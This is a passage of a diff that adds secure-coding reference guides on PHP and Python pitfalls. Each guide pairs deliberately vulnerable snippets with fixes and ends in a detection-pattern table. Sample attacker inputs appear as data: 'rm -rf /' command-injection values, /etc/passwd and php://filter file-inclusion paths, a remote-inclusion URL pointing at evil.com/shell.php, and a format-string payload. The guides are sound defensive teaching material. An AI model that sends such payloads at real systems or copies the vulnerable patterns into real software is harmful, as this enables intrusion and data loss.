35
+
36
+ // Attacker sends: password[]=anything (array instead of string)
37
+ strcmp(array(), "password") // Returns NULL, not -1 or 1
38
+
39
+ // NULL == 0 is TRUE in PHP!
40
+ // Authentication bypassed!
41
+ ```
42
+
43
+ **Fix**: Validate input type and use `===`:
44
+ ```php
45
+ if (is_string($_POST['password']) &&
46
+ strcmp($_POST['password'], $stored_password) === 0) {
47
+ authenticate();
48
+ }
49
+ ```
50
+
51
+ ## Variable Variables and Extract
52
+
53
+ ```php
54
+ // DANGEROUS: Variable variables
55
+ $name = $_GET['name']; // "isAdmin"
56
+ $$name = $_GET['value']; // "true"
57
+ // Creates $isAdmin = "true"
58
+
59
+ // DANGEROUS: extract() creates variables from array
60
+ extract($_POST); // Every POST param becomes a variable!
61
+ // Attacker sends POST: isAdmin=true → $isAdmin = true
62
+
63
+ // Can overwrite existing variables:
64
+ $isAdmin = false;
65
+ extract($_POST); // Attacker overwrites $isAdmin
66
+ ```
67
+
68
+ **Fix**: Never use `extract()` with user input. Use explicit assignment.
69
+
70
+ ## Unserialize RCE
71
+
72
+ ```php
73
+ // DANGEROUS: Like pickle, instantiates arbitrary objects
74
+ $obj = unserialize($_GET['data']);
75
+
76
+ // Attacker crafts serialized data that:
77
+ // 1. Instantiates class with dangerous __wakeup() or __destruct()
78
+ // 2. Chains through multiple classes ("POP gadgets")
79
+ // 3. Achieves code execution
80
+
81
+ // Common gadget chains in:
82
+ // - Laravel, Symfony, WordPress, Magento
83
+ // - phpggc tool generates payloads automatically
84
+ ```
85
+
86
+ **Fix**: Never unserialize untrusted data. Use JSON instead.
87
+ If you must, use `allowed_classes` parameter (PHP 7.0+):
88
+ ```php
89
+ unserialize($data, ['allowed_classes' => false]);
90
+ unserialize($data, ['allowed_classes' => ['SafeClass']]);
91
+ ```
92
+
93
+ ## preg_replace with /e Modifier
94
+
95
+ ```php
96
+ // DANGEROUS: /e modifier executes replacement as PHP code
97
+ // Removed in PHP 7.0, but legacy code still exists
98
+ preg_replace('/.*/e', $_GET['code'], '');
99
+ // Executes arbitrary PHP code!
100
+
101
+ // Even without /e, user-controlled patterns are dangerous:
102
+ preg_replace($_GET['pattern'], $replacement, $subject);
103
+ // Attacker can add /e modifier in pattern
104
+ ```
105
+
106
+ **Fix**: Use `preg_replace_callback()` instead of /e.
107
+
108
+ ## include/require with User Input
109
+
110
+ ```php
111
+ // DANGEROUS: Local File Inclusion
112
+ include($_GET['page'] . '.php');
113
+
114
+ // Attacker: ?page=../../../etc/passwd%00
115
+ // (null byte truncates .php in old PHP)
116
+
117
+ // Attacker: ?page=php://filter/convert.base64-encode/resource=config
118
+ // Reads and encodes config.php
119
+
120
+ // DANGEROUS: Remote File Inclusion (if allow_url_include=On)
121
+ include($_GET['url']);
122
+ // Attacker: ?url=http://evil.com/shell.php
123
+ ```
124
+
125
+ **Fix**: Whitelist allowed files, never use user input in include.
126
+
127
+ ## == vs === with Objects
128
+
129
+ ```php
130
+ // DANGEROUS: == compares values, === compares identity
131
+ $a = new stdClass();
132
+ $a->value = 1;
133
+
134
+ $b = new stdClass();
135
+ $b->value = 1;
136
+
137
+ $a == $b; // TRUE - same property values
138
+ $a === $b; // FALSE - different objects
139
+
140
+ // This can bypass checks:
141
+ if ($user == $admin) { // Compares properties, not identity!
142
+ grantAccess();
143
+ }
144
+ ```
145
+
146
+ ## Floating Point in Equality
147
+
148
+ ```php
149
+ // DANGEROUS: Float comparison
150
+ 0.1 + 0.2 == 0.3 // FALSE!
151
+ // Actually: 0.30000000000000004
152
+
153
+ // DANGEROUS: Float to int conversion
154
+ (int)"1e2" // 1 (not 100!)
155
+ (int)1e2 // 100
156
+
157
+ // In array keys:
158
+ $arr[(int)"1e2"] = "a"; // $arr[1]
159
+ $arr[(int)1e2] = "b"; // $arr[100]
160
+ ```
161
+
162
+ ## Shell Command Injection
163
+
164
+ ```php
165
+ // DANGEROUS: Unescaped shell commands
166
+ system("ls " . $_GET['dir']);
167
+ exec("grep " . $_GET['pattern'] . " file.txt");
168
+ passthru("convert " . $_FILES['image']['name']);
169
+
170
+ // Attacker: ?dir=; rm -rf /
171
+ ```
172
+
173
+ **Fix**: Use `escapeshellarg()` and `escapeshellcmd()`:
174
+ ```php
175
+ system("ls " . escapeshellarg($_GET['dir']));
176
+ ```
177
+
178
+ Better: Avoid shell commands entirely, use PHP functions.
179
+
180
+ ## Array Key Coercion
181
+
182
+ ```php
183
+ // DANGEROUS: Array keys are coerced
184
+ $arr = [];
185
+ $arr["0"] = "a";
186
+ $arr[0] = "b";
187
+ $arr["00"] = "c";
188
+
189
+ // Result: $arr = [0 => "b", "00" => "c"]
190
+ // String "0" was coerced to integer 0!
191
+
192
+ $arr[true] = "x"; // $arr[1] = "x"
193
+ $arr[false] = "y"; // $arr[0] = "y"
194
+ $arr[null] = "z"; // $arr[""] = "z"
195
+ ```
196
+
197
+ ## Null Coalescing Pitfalls
198
+
199
+ ```php
200
+ // ?? only checks for null/undefined, NOT falsy
201
+ $value = $_GET['x'] ?? 'default';
202
+
203
+ // If $_GET['x'] is "", 0, "0", false, []
204
+ // These are NOT null, so no default is used!
205
+
206
+ // vs ternary which checks truthiness:
207
+ $value = $_GET['x'] ?: 'default'; // Uses default for falsy values
208
+
209
+ // But ?: triggers notice for undefined variables
210
+ ```
211
+
212
+ ## Session Fixation
213
+
214
+ ```php
215
+ // DANGEROUS: Accepting session ID from user
216
+ session_id($_GET['session']);
217
+ session_start();
218
+
219
+ // Attacker:
220
+ // 1. Gets victim to visit: site.com?session=attacker_knows_this
221
+ // 2. Victim logs in
222
+ // 3. Attacker uses same session ID to hijack session
223
+ ```
224
+
225
+ **Fix**: Regenerate session ID after authentication:
226
+ ```php
227
+ session_start();
228
+ // ... authenticate user ...
229
+ session_regenerate_id(true); // true deletes old session
230
+ ```
231
+
232
+ ## Detection Patterns
233
+
234
+ | Pattern | Risk |
235
+ |---------|------|
236
+ | `== ` comparison with user input | Type juggling |
237
+ | `strcmp($user_input, ...)` | NULL comparison bypass |
238
+ | `$$var` or `extract($_` | Variable injection |
239
+ | `unserialize($user_input)` | Object injection RCE |
240
+ | `preg_replace('/e'` | Code execution |
241
+ | `include($user_input)` | File inclusion |
242
+ | `system/exec/passthru($user_input)` | Command injection |
243
+ | `"0e\d+" == "0e\d+"` | Magic hash comparison |
244
+ | `session_id($_GET` | Session fixation |
245
+ | Missing `===` for security checks | Type confusion bypass |
@@ -0,0 +1,274 @@
1
+ # Python Sharp Edges
2
+
3
+ ## Mutable Default Arguments
4
+
5
+ ```python
6
+ # DANGEROUS: Default is shared across all calls
7
+ def append_to(item, target=[]):
8
+ target.append(item)
9
+ return target
10
+
11
+ append_to(1) # [1]
12
+ append_to(2) # [1, 2] - same list!
13
+ append_to(3) # [1, 2, 3]
14
+
15
+ # Also affects dicts and other mutables
16
+ def register(name, registry={}):
17
+ registry[name] = True
18
+ return registry
19
+ ```
20
+
21
+ **The Problem**: Default arguments are evaluated once at function definition, not at each call.
22
+
23
+ **Fix**: Use `None` sentinel:
24
+ ```python
25
+ def append_to(item, target=None):
26
+ if target is None:
27
+ target = []
28
+ target.append(item)
29
+ return target
30
+ ```
31
+
32
+ ## Eval, Exec, and Code Execution
33
+
34
+ ```python
35
+ # DANGEROUS: Arbitrary code execution
36
+ eval(user_input) # Executes Python expression
37
+ exec(user_input) # Executes Python statements
38
+
39
+ # DANGEROUS: compile + exec
40
+ code = compile(user_input, '<string>', 'exec')
41
+ exec(code)
42
+
43
+ # DANGEROUS: input() in Python 2
44
+ # In Python 2: input() == eval(raw_input())
45
+ # Python 2 code taking input() from users = RCE
46
+
47
+ # DANGEROUS: Dynamic import
48
+ __import__(user_input)
49
+ importlib.import_module(user_input)
50
+ ```
51
+
52
+ **Also Dangerous**:
53
+ - `pickle.loads()` - arbitrary code execution
54
+ - `yaml.load()` - arbitrary code execution (use `safe_load`)
55
+ - `subprocess.Popen(shell=True)` with user input
56
+
57
+ ## Late Binding Closures
58
+
59
+ ```python
60
+ # DANGEROUS: Closures capture variable by reference, not value
61
+ funcs = []
62
+ for i in range(3):
63
+ funcs.append(lambda: i)
64
+
65
+ [f() for f in funcs] # [2, 2, 2] - all see final i
66
+
67
+ # Same with list comprehension
68
+ funcs = [lambda: i for i in range(3)]
69
+ [f() for f in funcs] # [2, 2, 2]
70
+ ```
71
+
72
+ **Fix**: Capture by value using default argument:
73
+ ```python
74
+ funcs = []
75
+ for i in range(3):
76
+ funcs.append(lambda i=i: i) # i=i captures current value
77
+
78
+ [f() for f in funcs] # [0, 1, 2]
79
+ ```
80
+
81
+ ## Identity vs Equality
82
+
83
+ ```python
84
+ # DANGEROUS: 'is' checks identity, not equality
85
+ a = 256
86
+ b = 256
87
+ a is b # True - CPython caches small integers [-5, 256]
88
+
89
+ a = 257
90
+ b = 257
91
+ a is b # False - different objects!
92
+
93
+ # String interning is also unpredictable
94
+ s1 = "hello"
95
+ s2 = "hello"
96
+ s1 is s2 # True - interned
97
+
98
+ s1 = "hello world"
99
+ s2 = "hello world"
100
+ s1 is s2 # Maybe - depends on context
101
+
102
+ # DANGEROUS in conditionals
103
+ if x is True: # Wrong - use: if x is True (for singletons only)
104
+ if x is 1: # Wrong - use: if x == 1
105
+ ```
106
+
107
+ **Rule**: Use `is` only for `None`, `True`, `False`, and explicit singleton checks.
108
+
109
+ ## Import Shadowing
110
+
111
+ ```python
112
+ # DANGEROUS: Naming your file same as stdlib module
113
+ # File: random.py
114
+ import random
115
+ print(random.randint(1, 10)) # ImportError or recursion!
116
+
117
+ # Your random.py shadows the stdlib random module
118
+
119
+ # Similarly dangerous names:
120
+ # - email.py (shadows email module)
121
+ # - test.py (shadows test framework)
122
+ # - types.py (shadows types module)
123
+ ```
124
+
125
+ ## Exception Handling Pitfalls
126
+
127
+ ```python
128
+ # DANGEROUS: Bare except catches everything
129
+ try:
130
+ risky_operation()
131
+ except: # Catches KeyboardInterrupt, SystemExit, etc.
132
+ pass
133
+
134
+ # DANGEROUS: Catching Exception still misses some
135
+ try:
136
+ risky_operation()
137
+ except Exception: # Misses KeyboardInterrupt, SystemExit
138
+ pass
139
+
140
+ # DANGEROUS: Silently swallowing
141
+ try:
142
+ important_security_check()
143
+ except SomeError:
144
+ pass # Security check failure ignored!
145
+
146
+ # DANGEROUS: Exception in except block
147
+ try:
148
+ operation()
149
+ except SomeError as e:
150
+ log(e) # If log() raises, original exception lost
151
+ raise
152
+ ```
153
+
154
+ ## Name Rebinding in Loops
155
+
156
+ ```python
157
+ # DANGEROUS: Reusing loop variable
158
+ for item in items:
159
+ process(item)
160
+
161
+ # Later in same scope:
162
+ print(item) # Still bound to last item!
163
+
164
+ # DANGEROUS with exceptions
165
+ for item in items:
166
+ try:
167
+ process(item)
168
+ except Exception as e:
169
+ pass
170
+
171
+ # In Python 3, 'e' is deleted after except block
172
+ # But 'item' persists
173
+ ```
174
+
175
+ ## Class vs Instance Attributes
176
+
177
+ ```python
178
+ # DANGEROUS: Mutable class attribute shared by all instances
179
+ class User:
180
+ permissions = [] # Class attribute - shared!
181
+
182
+ u1 = User()
183
+ u2 = User()
184
+ u1.permissions.append('admin')
185
+ print(u2.permissions) # ['admin'] - u2 is also admin!
186
+ ```
187
+
188
+ **Fix**: Initialize in `__init__`:
189
+ ```python
190
+ class User:
191
+ def __init__(self):
192
+ self.permissions = [] # Instance attribute - unique
193
+ ```
194
+
195
+ ## String Formatting Injection
196
+
197
+ ```python
198
+ # DANGEROUS: Format string with user data as format spec
199
+ template = user_input # "{0.__class__.__mro__[1].__subclasses__()}"
200
+ template.format(some_object) # Can access arbitrary attributes!
201
+
202
+ # DANGEROUS: f-string with user input (if using eval)
203
+ eval(f'f"{user_input}"') # Code execution
204
+
205
+ # DANGEROUS: % formatting with user-controlled format
206
+ user_template % (data,) # Less dangerous but still risky
207
+ ```
208
+
209
+ **Fix**: Use string concatenation or safe templating (Jinja2 with autoescape).
210
+
211
+ ## Numeric Precision
212
+
213
+ ```python
214
+ # DANGEROUS: Float comparison
215
+ 0.1 + 0.2 == 0.3 # False!
216
+ # 0.1 + 0.2 = 0.30000000000000004
217
+
218
+ # DANGEROUS: Large integer to float
219
+ n = 10**20
220
+ float(n) == float(n + 1) # True - precision loss
221
+
222
+ # DANGEROUS: Division in Python 2
223
+ # 5 / 2 = 2 (integer division in Python 2)
224
+ # 5 / 2 = 2.5 (float division in Python 3)
225
+ ```
226
+
227
+ ## Unpacking Pitfalls
228
+
229
+ ```python
230
+ # DANGEROUS: Unpacking user-controlled data
231
+ a, b, c = user_list # ValueError if wrong length
232
+
233
+ # Can be used for DoS:
234
+ # Send list with 10 million elements to function expecting 3
235
+ # Python will iterate entire list before raising ValueError
236
+ ```
237
+
238
+ ## Subprocess Shell Injection
239
+
240
+ ```python
241
+ # DANGEROUS: shell=True with user input
242
+ import subprocess
243
+ subprocess.run(f"ls {user_input}", shell=True)
244
+ # user_input = "; rm -rf /" → command injection
245
+
246
+ # SAFE: Use list form without shell
247
+ subprocess.run(["ls", user_input]) # user_input is just an argument
248
+ ```
249
+
250
+ ## Attribute Access on None
251
+
252
+ ```python
253
+ # DANGEROUS: Chained access without checks
254
+ result = api.get_user().profile.settings.theme
255
+ # Any None in chain causes AttributeError
256
+
257
+ # Python doesn't have optional chaining like JS (?.)
258
+ # Must check each step or use getattr with default
259
+ ```
260
+
261
+ ## Detection Patterns
262
+
263
+ | Pattern | Risk |
264
+ |---------|------|
265
+ | `def f(x=[])` or `def f(x={})` | Mutable default argument |
266
+ | `eval(`, `exec(`, `compile(` | Code execution |
267
+ | `pickle.loads(`, `yaml.load(` | Deserialization RCE |
268
+ | `lambda: var` in loop | Late binding closure |
269
+ | `x is 1`, `x is "string"` | Identity vs equality confusion |
270
+ | `import x` where x.py exists locally | Import shadowing |
271
+ | `except:` or `except Exception:` | Over-broad exception catching |
272
+ | `class Foo: bar = []` | Shared mutable class attribute |
273
+ | `template.format(obj)` with user template | Format string injection |
274
+ | `subprocess.*(..., shell=True)` | Command injection |